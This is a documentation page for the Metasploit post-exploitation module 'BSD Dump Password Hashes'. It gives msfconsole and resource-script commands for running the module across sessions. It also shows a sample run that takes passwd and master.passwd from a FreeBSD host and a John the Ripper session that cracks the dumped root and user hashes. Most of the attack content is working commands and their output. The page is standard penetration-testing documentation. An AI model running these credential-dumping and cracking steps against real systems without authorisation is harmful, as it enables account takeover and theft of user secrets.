BSD Dump Password Hashes - Metasploit


This page contains detailed information about how to use the post/bsd/gather/hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: BSD Dump Password Hashes
Module: post/bsd/gather/hashdump
Source code: modules/post/bsd/gather/hashdump.rb
Disclosure date: -
Last modification time: 2019-11-02 08:54:04 +0000
Supported architecture(s): -
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Post module to dump the password hashes for all users on a BSD system.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/bsd/gather/hashdump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/bsd/gather/hashdump
msf post(hashdump) > show options
    ... show and set options ...
msf post(hashdump) > set SESSION session-id
msf post(hashdump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/bsd/gather/hashdump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Verification Steps


  1. Start msfconsole
  2. Get a session via exploit of your choice
  3. Do: use post/bsd/gather/hashdump
  4. Do: set session <session>
  5. Do: run
  6. You should see password hashes

Options


SESSION

Which session to use, which can be viewed with sessions -l

Scenarios


FreeBSD 11.1-RELEASE-i386

  msf5 > use post/bsd/gather/hashdump 
  msf5 post(bsd/gather/hashdump) > set session 1
  session => 1
  msf5 post(bsd/gather/hashdump) > set verbose true
  verbose => true
  msf5 post(bsd/gather/hashdump) > run

  [!] SESSION may not be compatible with this module.
  [+] passwd saved in: /root/.msf4/loot/20191027022955_default_172.16.191.175_passwd_886442.txt
  [+] master.passwd saved in: /root/.msf4/loot/20191027022956_default_172.16.191.175_master.passwd_603685.txt
  [+] root:$6$qHMkv01VUXi9UCIK$ReQbxn2vo/i/nnHHtdw3U8BS0IpPRjJmFS6mYPPAkrqP5bHn1m2ReWiRpfEpHbEtAik6rHGpwdF7jaVZwiq22/:0:0:Charlie &:/root:/bin/csh
  [+] user:$6$0De1rFoA/9y9ZNs/$0w33L7Iox0MGMleEF0mndGGxQ.xKAtWzEo5pzLrN35EonLTnb.NWuHVVbpUQS4aSY0pB2gfi9UXj5zUw2Y7Ds0:1001:1001:user:/home/user:/bin/sh
  [+] Unshadowed Password File: /root/.msf4/loot/20191027022956_default_172.16.191.175_bsd.hashes_729820.txt
  [*] Post module execution completed
  msf5 post(bsd/gather/hashdump) > creds
  Credentials
  ===========

  host  origin          service  public  private                                                                                                     realm  private_type        JtR Format
  ----  ------          -------  ------  -------                                                                                                     -----  ------------        ----------
        172.16.191.175           root    $6$qHMkv01VUXi9UCIK$ReQbxn2vo/i/nnHHtdw3U8BS0IpPRjJmFS6mYPPAkrqP5bHn1m2ReWiRpfEpHbEtAik6rHGpwdF7jaVZwiq22/         Nonreplayable hash  sha512,crypt
        172.16.191.175           user    $6$0De1rFoA/9y9ZNs/$0w33L7Iox0MGMleEF0mndGGxQ.xKAtWzEo5pzLrN35EonLTnb.NWuHVVbpUQS4aSY0pB2gfi9UXj5zUw2Y7Ds0         Nonreplayable hash  sha512,crypt

  msf5 post(bsd/gather/hashdump) >

Crack Hashes (John the Ripper)

The stored file can then have a password cracker used against it. In this scenario, we'll use john (the ripper).

  # john /root/.msf4/loot/20191027022956_default_172.16.191.175_bsd.hashes_729820.txt
  Using default input encoding: UTF-8
  Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
  Cost 1 (iteration count) is 5000 for all loaded hashes
  Proceeding with single, rules:Single
  Press 'q' or Ctrl-C to abort, almost any other key for status
  Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
  Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
  toor             (root)
  Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
  Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
  Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
  Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
  Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
  Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
  Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
  Almost done: Processing the remaining buffered candidate passwords, if any.
  Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
  password         (user)
  2g 0:00:00:00 DONE 2/3 (2019-10-27 02:40) 2.898g/s 1482p/s 1484c/s 1484C/s 123456..john
  Use the "--show" option to display all of the cracked passwords reliably
  Session completed

Go back to menu.

Msfconsole Usage


Here is how the bsd/gather/hashdump post exploitation module looks in the msfconsole:

msf6 > use post/bsd/gather/hashdump

msf6 post(bsd/gather/hashdump) > show info

       Name: BSD Dump Password Hashes
     Module: post/bsd/gather/hashdump
   Platform: BSD
       Arch: 
       Rank: Normal

Provided by:
  bcoles <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  Post module to dump the password hashes for all users on a BSD 
  system.

Module Options


This is a complete list of options available in the bsd/gather/hashdump post exploitation module:

msf6 post(bsd/gather/hashdump) > show options

Module options (post/bsd/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the bsd/gather/hashdump post exploitation module:

msf6 post(bsd/gather/hashdump) > show advanced

Module advanced options (post/bsd/gather/hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the bsd/gather/hashdump module can do:

msf6 post(bsd/gather/hashdump) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the bsd/gather/hashdump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(bsd/gather/hashdump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

You must run this module as root!


Here is a relevant code snippet related to the "You must run this module as root!" error message:

21:	    ))
22:	  end
23:	
24:	  def run
25:	    unless is_root?
26:	      fail_with Failure::NoAccess, 'You must run this module as root!'
27:	    end
28:	
29:	    passwd = read_file('/etc/passwd').to_s
30:	    unless passwd.blank?
31:	      p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • bcoles

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.